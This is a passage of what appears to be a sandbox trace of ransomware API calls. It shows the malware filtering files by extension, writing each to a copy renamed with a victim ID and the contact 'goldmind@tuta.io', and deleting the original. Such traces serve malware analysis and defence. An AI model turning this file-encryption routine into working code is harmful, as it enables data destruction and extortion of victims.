[0102.476] lstrlenW (lpString=".docx") returned 5 [0102.476] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0102.476] lstrlenW (lpString=".pdf") returned 4 [0102.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.476] lstrlenW (lpString=".xls") returned 4 [0102.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.476] lstrlenW (lpString=".xlsx") returned 5 [0102.476] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0102.476] lstrlenW (lpString=".ppt") returned 4 [0102.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0102.476] lstrlenW (lpString=".zip") returned 4 [0102.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.476] lstrlenW (lpString=".rar") returned 4 [0102.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.476] lstrlenW (lpString=".bz2") returned 4 [0102.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.476] lstrlenW (lpString=".7z") returned 3 [0102.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0102.476] lstrlenW (lpString=".dbf") returned 4 [0102.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0102.476] lstrlenW (lpString=".1cd") returned 4 [0102.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0102.476] lstrlenW (lpString=".jpg") returned 4 [0102.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.476] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0102.476] lstrlenW (lpString="J0099195.GIF") returned 12 [0102.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0102.477] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=19923) returned 1 [0102.477] CloseHandle (hObject=0x194) returned 1 [0102.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 0x20 [0102.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0102.477] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.477] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0102.478] GetLastError () returned 0x0 [0102.478] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4dd3, lpOverlapped=0x0) returned 1 [0102.482] WriteFile (in: hFile=0x3a8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4de0, lpOverlapped=0x0) returned 1 [0102.482] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.483] WriteFile (in: hFile=0x3a8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.483] SetEndOfFile (hFile=0x3a8) returned 1 [0102.483] CloseHandle (hObject=0x3a8) returned 1 [0102.483] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.483] SetEndOfFile (hFile=0x194) returned 1 [0102.485] CloseHandle (hObject=0x194) returned 1 [0102.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0102.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0102.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0102.486] lstrlenW (lpString=".doc") returned 4 [0102.486] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.486] lstrlenW (lpString=".docx") returned 5 [0102.486] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0102.486] lstrlenW (lpString=".pdf") returned 4 [0102.486] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.486] lstrlenW (lpString=".xls") returned 4 [0102.486] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.486] lstrlenW (lpString=".xlsx") returned 5 [0102.486] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0102.486] lstrlenW (lpString=".ppt") returned 4 [0102.486] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0102.486] lstrlenW (lpString=".zip") returned 4 [0102.486] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.486] lstrlenW (lpString=".rar") returned 4 [0102.486] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.486] lstrlenW (lpString=".bz2") returned 4 [0102.486] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.486] lstrlenW (lpString=".7z") returned 3 [0102.486] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0102.487] lstrlenW (lpString=".dbf") returned 4 [0102.487] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0102.487] lstrlenW (lpString=".1cd") returned 4 [0102.487] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0102.487] lstrlenW (lpString=".jpg") returned 4 [0102.487] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0102.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0102.487] lstrlenW (lpString=".doc") returned 4 [0102.487] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.487] lstrlenW (lpString=".docx") returned 5 [0102.487] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0102.487] lstrlenW (lpString=".pdf") returned 4 [0102.487] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.487] lstrlenW (lpString=".xls") returned 4 [0102.487] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.487] lstrlenW (lpString=".xlsx") returned 5 [0102.487] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0102.487] lstrlenW (lpString=".ppt") returned 4 [0102.487] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0102.487] lstrlenW (lpString=".zip") returned 4 [0102.487] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.487] lstrlenW (lpString=".rar") returned 4 [0102.487] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.487] lstrlenW (lpString=".bz2") returned 4 [0102.487] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.487] lstrlenW (lpString=".7z") returned 3 [0102.487] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0102.487] lstrlenW (lpString=".dbf") returned 4 [0102.487] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0102.487] lstrlenW (lpString=".1cd") returned 4 [0102.487] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0102.488] lstrlenW (lpString=".jpg") returned 4 [0102.488] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.488] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0102.488] lstrlenW (lpString="J0099196.GIF") returned 12 [0102.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0102.492] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=14337) returned 1 [0102.492] CloseHandle (hObject=0x194) returned 1 [0102.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 0x20 [0102.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0102.493] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.493] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0102.494] GetLastError () returned 0x0 [0102.494] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x3801, lpOverlapped=0x0) returned 1 [0103.016] WriteFile (in: hFile=0x3a8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3810, lpOverlapped=0x0) returned 1 [0103.018] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.018] WriteFile (in: hFile=0x3a8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0103.018] SetEndOfFile (hFile=0x3a8) returned 1 [0103.018] CloseHandle (hObject=0x3a8) returned 1 [0103.018] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.018] SetEndOfFile (hFile=0x194) returned 1 [0103.021] CloseHandle (hObject=0x194) returned 1 [0103.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0103.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0103.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0103.700] lstrlenW (lpString=".doc") returned 4 [0103.700] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.700] lstrlenW (lpString=".docx") returned 5 [0103.700] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0103.700] lstrlenW (lpString=".pdf") returned 4 [0103.700] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.700] lstrlenW (lpString=".xls") returned 4 [0103.700] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.700] lstrlenW (lpString=".xlsx") returned 5 [0103.700] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0103.700] lstrlenW (lpString=".ppt") returned 4 [0103.700] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0103.700] lstrlenW (lpString=".zip") returned 4 [0103.700] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.700] lstrlenW (lpString=".rar") returned 4 [0103.700] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.700] lstrlenW (lpString=".bz2") returned 4 [0103.700] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.700] lstrlenW (lpString=".7z") returned 3 [0103.700] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0103.700] lstrlenW (lpString=".dbf") returned 4 [0103.700] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0103.700] lstrlenW (lpString=".1cd") returned 4 [0103.700] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0103.700] lstrlenW (lpString=".jpg") returned 4 [0103.700] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0103.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0103.700] lstrlenW (lpString=".doc") returned 4 [0103.700] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.700] lstrlenW (lpString=".docx") returned 5 [0103.700] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0103.700] lstrlenW (lpString=".pdf") returned 4 [0103.700] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.700] lstrlenW (lpString=".xls") returned 4 [0103.700] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.701] lstrlenW (lpString=".xlsx") returned 5 [0103.701] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0103.701] lstrlenW (lpString=".ppt") returned 4 [0103.701] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0103.701] lstrlenW (lpString=".zip") returned 4 [0103.701] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.701] lstrlenW (lpString=".rar") returned 4 [0103.701] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.701] lstrlenW (lpString=".bz2") returned 4 [0103.701] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.701] lstrlenW (lpString=".7z") returned 3 [0103.701] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0103.701] lstrlenW (lpString=".dbf") returned 4 [0103.701] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0103.701] lstrlenW (lpString=".1cd") returned 4 [0103.701] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0103.701] lstrlenW (lpString=".jpg") returned 4 [0103.701] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.701] lstrcmpiW (lpString1=".BMP", lpString2=".gold") returned -1 [0103.701] lstrlenW (lpString="J0101857.BMP") returned 12 [0103.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0104.032] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=32184) returned 1 [0104.032] CloseHandle (hObject=0x38c) returned 1 [0104.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 0x20 [0104.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0104.091] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.091] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.091] GetLastError () returned 0x0 [0104.091] ReadFile (in: hFile=0x38c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0104.115] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0104.116] ReadFile (in: hFile=0x38c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.116] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.116] SetEndOfFile (hFile=0x3b8) returned 1 [0104.116] CloseHandle (hObject=0x3b8) returned 1 [0104.116] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.116] SetEndOfFile (hFile=0x38c) returned 1 [0104.119] CloseHandle (hObject=0x38c) returned 1 [0104.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0104.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0104.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0104.120] lstrlenW (lpString=".doc") returned 4 [0104.120] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.120] lstrlenW (lpString=".docx") returned 5 [0104.120] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0104.120] lstrlenW (lpString=".pdf") returned 4 [0104.120] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.120] lstrlenW (lpString=".xls") returned 4 [0104.120] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.120] lstrlenW (lpString=".xlsx") returned 5 [0104.120] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0104.120] lstrlenW (lpString=".ppt") returned 4 [0104.120] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0104.120] lstrlenW (lpString=".zip") returned 4 [0104.120] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.120] lstrlenW (lpString=".rar") returned 4 [0104.120] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.120] lstrlenW (lpString=".bz2") returned 4 [0104.120] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.120] lstrlenW (lpString=".7z") returned 3 [0104.120] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0104.120] lstrlenW (lpString=".dbf") returned 4 [0104.120] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0104.120] lstrlenW (lpString=".1cd") returned 4 [0104.120] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0104.120] lstrlenW (lpString=".jpg") returned 4 [0104.120] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0104.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0104.121] lstrlenW (lpString=".doc") returned 4 [0104.121] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.121] lstrlenW (lpString=".docx") returned 5 [0104.121] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0104.121] lstrlenW (lpString=".pdf") returned 4 [0104.121] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.121] lstrlenW (lpString=".xls") returned 4 [0104.121] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.121] lstrlenW (lpString=".xlsx") returned 5 [0104.121] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0104.121] lstrlenW (lpString=".ppt") returned 4 [0104.121] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0104.121] lstrlenW (lpString=".zip") returned 4 [0104.121] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.121] lstrlenW (lpString=".rar") returned 